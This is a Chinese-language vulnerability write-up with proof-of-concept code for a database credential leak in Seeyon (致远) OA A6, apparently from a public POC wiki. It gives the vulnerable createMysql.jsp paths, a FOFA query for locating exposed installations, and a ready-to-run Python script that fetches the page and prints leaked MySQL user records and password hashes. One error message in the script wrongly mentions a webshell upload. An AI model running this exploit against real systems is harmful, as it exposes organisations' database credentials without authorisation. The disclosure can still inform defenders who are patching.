致远OA A6 createMysql.jsp 数据库敏感信息泄露

漏洞描述

致远OA A6 存在数据库敏感信息泄露，攻击者可以通过访问特定的URL获取数据库账户以及密码 MD5

漏洞影响

[!NOTE]

致远OA A6

FOFA

[!NOTE]

title="致远A8+协同管理软件.A6"

漏洞复现

当访问如下URL时执行了SQL语句 select * from mysql.user; 进行查询并返回到页面中

/yyoa/createMysql.jsp
/yyoa/ext/createMysql.jsp

漏洞利用POC

import requests
import sys
import random
import re
import base64
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
    print('+  \033[34m公众号  : PeiQi文库                                                   \033[0m')
    print('+  \033[34mVersion: 致远OA A6                                            \033[0m')
    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
    print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
    print('+------------------------------------------')

def POC_1(target_url):
    vuln_url = target_url + "/yyoa/createMysql.jsp"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, headers=headers, verify=False, timeout=5)
        print("\033[36m[o] 正在请求 {}/yyoa/createMysql.jsp..... \033[0m".format(target_url))
        if 'root' in response.text and response.status_code == 200:
            print("\033[36m[o] 响应为:{}\n \033[0m".format(response.text))
        else:
            print("\033[31m[x] 目标 {} 上传Webshell文件失败\033[0m".format(target_url))
            sys.exit(0)

    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)


if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
    POC_1(target_url)

Goby & POC

[!NOTE]

已上传 https://github.com/PeiQi0/PeiQi-WIKI-POC Goby & POC 目录中

Seeyon_OA_A6__Disclosure_of_database_sensitive_information